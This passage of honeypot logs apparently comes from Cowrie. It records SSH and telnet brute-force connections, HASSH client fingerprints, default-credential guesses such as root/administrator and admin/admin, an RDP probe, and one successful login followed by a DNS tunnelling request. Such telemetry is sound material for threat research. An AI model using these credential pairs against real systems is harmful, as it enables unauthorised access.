sa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:10.597057Z","src_ip":"103.27.238.116","session":"f6e01e4cbdd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:11.373474Z","src_ip":"103.27.238.116","session":"f6e01e4cbdd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:12.634696Z","src_ip":"103.27.238.116","session":"f6e01e4cbdd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":52088,"dst_ip":"159.203.135.109","dst_port":22,"session":"0630935b8703","protocol":"ssh","message":"New connection: 103.173.227.57:52088 (159.203.135.109:22) [session: 0630935b8703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:13.970289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:13.975318Z","src_ip":"103.173.227.57","session":"0630935b8703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:14.215481Z","src_ip":"103.173.227.57","session":"0630935b8703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha1997","message":"login attempt [root/sasha1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:14.931164Z","src_ip":"103.173.227.57","session":"0630935b8703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:16.174120Z","src_ip":"103.173.227.57","session":"0630935b8703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":32924,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b1702b2e427","protocol":"telnet","message":"New connection: 213.108.3.46:32924 (10.17.0.5:23) [session: 9b1702b2e427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:24.820338Z"}
{"eventid":"cowrie.session.closed","duration":0.014525175094604492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:24.834735Z","src_ip":"213.108.3.46","session":"9b1702b2e427","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60406,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef13047379bd","protocol":"ssh","message":"New connection: 80.94.92.184:60406 (10.17.0.5:22) [session: ef13047379bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:31.768743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:31.833574Z","src_ip":"80.94.92.184","session":"ef13047379bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:32.095338Z","src_ip":"80.94.92.184","session":"ef13047379bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:34.022521Z","src_ip":"80.94.92.184","session":"ef13047379bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:35.226597Z","src_ip":"80.94.92.184","session":"ef13047379bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59657,"dst_ip":"10.17.0.5","dst_port":22,"session":"0148a4100769","protocol":"ssh","message":"New connection: 167.172.81.52:59657 (10.17.0.5:22) [session: 0148a4100769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:43.479098Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:43.486323Z","src_ip":"167.172.81.52","session":"0148a4100769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:43.489813Z","src_ip":"167.172.81.52","session":"0148a4100769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51050,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1f19cea67b8","protocol":"telnet","message":"New connection: 152.42.224.71:51050 (10.17.0.5:23) [session: c1f19cea67b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:49.396496Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46660,"dst_ip":"10.17.0.5","dst_port":22,"session":"e71dd4b0067d","protocol":"ssh","message":"New connection: 87.251.64.176:46660 (10.17.0.5:22) [session: e71dd4b0067d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:53.470447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:53.475022Z","src_ip":"87.251.64.176","session":"e71dd4b0067d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:53.572685Z","src_ip":"87.251.64.176","session":"e71dd4b0067d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:53.917532Z","src_ip":"87.251.64.176","session":"e71dd4b0067d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:54.015781Z","session":"e71dd4b0067d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:54.148195Z","src_ip":"87.251.64.176","session":"e71dd4b0067d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:54.250643Z","src_ip":"87.251.64.176","session":"e71dd4b0067d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":52418,"dst_ip":"159.203.135.109","dst_port":22,"session":"09913fa2c3d6","protocol":"ssh","message":"New connection: 80.94.92.171:52418 (159.203.135.109:22) [session: 09913fa2c3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:58.373912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:58.611725Z","src_ip":"80.94.92.171","session":"09913fa2c3d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:58.615552Z","src_ip":"80.94.92.171","session":"09913fa2c3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:59.494447Z","src_ip":"80.94.92.171","session":"09913fa2c3d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:00.758754Z","src_ip":"80.94.92.171","session":"09913fa2c3d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":53694,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc9c582889e","protocol":"ssh","message":"New connection: 185.236.22.41:53694 (10.17.0.5:22) [session: ffc9c582889e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:13.192171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:13.208676Z","src_ip":"185.236.22.41","session":"ffc9c582889e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:13.312418Z","src_ip":"185.236.22.41","session":"ffc9c582889e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrcbvrf","message":"login attempt [root/vfrcbvrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:13.791201Z","src_ip":"185.236.22.41","session":"ffc9c582889e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:14.913973Z","src_ip":"185.236.22.41","session":"ffc9c582889e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":33715,"dst_ip":"10.17.0.5","dst_port":22,"session":"823b469b0a26","protocol":"ssh","message":"New connection: 102.88.137.213:33715 (10.17.0.5:22) [session: 823b469b0a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:15.372945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:15.377862Z","src_ip":"102.88.137.213","session":"823b469b0a26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:15.564467Z","src_ip":"102.88.137.213","session":"823b469b0a26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34040,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9b10d738b3f","protocol":"ssh","message":"New connection: 2.57.121.112:34040 (10.17.0.5:22) [session: f9b10d738b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:15.731318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:15.736478Z","src_ip":"2.57.121.112","session":"f9b10d738b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:15.842677Z","src_ip":"2.57.121.112","session":"f9b10d738b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"42069","message":"login attempt [admin/42069] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:16.338690Z","src_ip":"2.57.121.112","session":"f9b10d738b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amartinez","message":"login attempt [root/amartinez] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:16.345107Z","src_ip":"102.88.137.213","session":"823b469b0a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4118","message":"login attempt [admin/4118] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:17.448898Z","src_ip":"2.57.121.112","session":"f9b10d738b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:17.533869Z","src_ip":"102.88.137.213","session":"823b469b0a26","protocol":"ssh"}
